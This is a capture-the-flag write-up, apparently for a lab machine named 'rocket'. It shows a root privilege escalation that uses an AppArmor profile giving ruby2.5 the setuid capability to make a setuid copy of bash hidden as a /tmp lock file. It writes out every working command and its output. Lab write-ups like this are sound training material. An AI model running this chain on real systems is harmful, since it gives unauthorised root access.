alvin@rocket:~$ stat /bin/bash
File: /bin/bash
Size: 1113504 Blocks: 2176 IO Block: 4096 regular file
Device: fd00h/64768d Inode: 393246 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2021-07-27 19:47:43.680000000 +0000
Modify: 2019-06-06 22:28:15.000000000 +0000
Change: 2021-06-14 14:45:36.532880394 +0000
Birth: -
We can see it was changed recently, but all the other elements seem accurate
Given it was changed, perhaps the original is hidden somewhere?
alvin@rocket:~$ find / -iname "*bash*" 2>/dev/null
/usr/share/byobu/profiles/bashrc
/usr/share/perl5/Debian/Debhelper/Sequence/bash_completion.pm
/usr/share/pkgconfig/bash-completion.pc
--snip--
We get a long list, but nothing stands out. While on this track though, let’s check ruby2.5
as well just in case that’s been tampered with too
alvin@rocket:/etc/apparmor.d$ find / -iname "*ruby2.5*" 2>/dev/null
/usr/share/lintian/overrides/ruby2.5
/usr/share/lintian/overrides/libruby2.5
/usr/share/man/man1/ruby2.5.1.gz
/usr/share/systemtap/tapset/libruby2.5-x86_64-linux-gnu.stp
/usr/share/doc/ruby2.5
/usr/share/doc/libruby2.5
/usr/bin/ruby2.5
/etc/apparmor.d/cache/usr.bin.ruby2.5
/etc/apparmor.d/usr.bin.ruby2.5
/var/lib/dpkg/info/ruby2.5.list
/var/lib/dpkg/info/ruby2.5.md5sums
/var/lib/dpkg/info/libruby2.5:amd64.triggers
/var/lib/dpkg/info/libruby2.5:amd64.symbols
/var/lib/dpkg/info/libruby2.5:amd64.shlibs
/var/lib/dpkg/info/libruby2.5:amd64.list
/var/lib/dpkg/info/libruby2.5:amd64.md5sums
This one is a bit interesting, there is a file in /etc/apparmor.d
related to ruby. We get a vague memory of AppArmor’s functionality and google to be sure
AppArmor is a kernel enhancement to confine programs to a limited set of resources. AppArmor’s unique security model is to bind access control attributes to programs rather than to users
Well, we are being limited from using a resource, /bin/bash
, so let’s see if that file has anything to do with it
alvin@rocket:/etc/apparmor.d$ cat usr.bin.ruby2.5
# Last Modified: Mon Jun 14 23:01:44 2021
#include <tunables/global>
/usr/bin/ruby2.5 {
#include <abstractions/base>
capability setuid,
deny owner /etc/nsswitch.conf r,
deny /root/* rwx,
deny /etc/shadow rwx,
/etc/passwd r,
/bin/cat mrix,
/bin/cp mrix,
/bin/ls mrix,
/usr/bin/whoami mrix,
/tmp/.X[0-9]*-lock rw,
/lib/x86_64-linux-gnu/ld-*.so mr,
/usr/bin/ruby2.5 mr,
/usr/share/rubygems-integration/all/specifications/ r,
/usr/share/rubygems-integration/all/specifications/did_you_mean-1.2.0.gemspec r,
/{usr/,}lib{,32,64}/** mr,
}
More searching gives us information about the syntax for this profile
Capabilities The only capabilities a confined process may use may be enumerated; for the complete list, please refer to capabilities>(7). Note that granting some capabilities renders AppArmor confinement for that domain advisory; while open(2), read(2), write(2), etc., will still return error when access is not granted, some capabilities allow loading kernel modules, arbitrary access to IPC, ability to bypass discretionary access controls, and other operations that are typically reserved for the root user
So if we’re reading this correctly then this profile is, for any time ruby2.5
uses its setuid capability, implementing a series of deny and allow statements. It seems we can access only
/etc/passwd
read-only/bin/cat
,/bin/cp
,/bin/ls
,/usr/bin/whoami
read, inherit-execute, map/tmp/.X[0-9]*-lock
read/write- and a few more files and directories
While being denied access to
/etc/shadow
,/root
entirely- with a special restriction on
/etc/nsswitch.conf
owner Specifies that the task must have the same euid/fsuid as the object being referenced by the permission check
Let’s put that to the test then, can we execute whoami
as root?
alvin@rocket:/etc/apparmor.d$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/usr/bin/whoami"'
root
Yes we can, so we have it then, the cause of our troubles
We could make a copy of /bin/bash
, chmod
it to have setuid permissions for our user, then use cp
to make a duplicate owned by root perhaps. Worth a try, let’s go
alvin@rocket:/tmp$ cp /bin/bash .X3-lock
alvin@rocket:/tmp$ chmod +s .X3-lock
alvin@rocket:/tmp$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/cp /tmp/.X3-lock /tmp/.X4-lock"'
alvin@rocket:/tmp$ ls -la /tmp/.X4-lock
-rwxr-xr-x 1 root alvin 1113504 Jul 27 21:03 /tmp/.X4-lock
Rats, it seems the permissions did not persist, Let’s give it another go with the cp
switch --preserve
alvin@rocket:/tmp$ /usr/bin/ruby2.5 -e 'Process::Sys.setuid(0); exec "/bin/cp --preserve=mode /tmp/.X3-lock /tmp/.X5-lock"'
alvin@rocket:/tmp$ ls -la /tmp/.X5-lock
-rwsr-sr-x 1 root alvin 1113504 Jul 27 21:06 /tmp/.X5-lock
And it appears to have worked, let’s see if we can execute this now and get a root shell
alvin@rocket:/tmp$ /tmp/.X5-lock -p
.X5-lock-4.4# id
uid=1000(alvin) gid=1000(alvin) euid=0(root) groups=1000(alvin)
And we have it, let’s grab the root flag and finish up
.X5-lock-4.4# cat /root/root.txt
THM{REDACTED}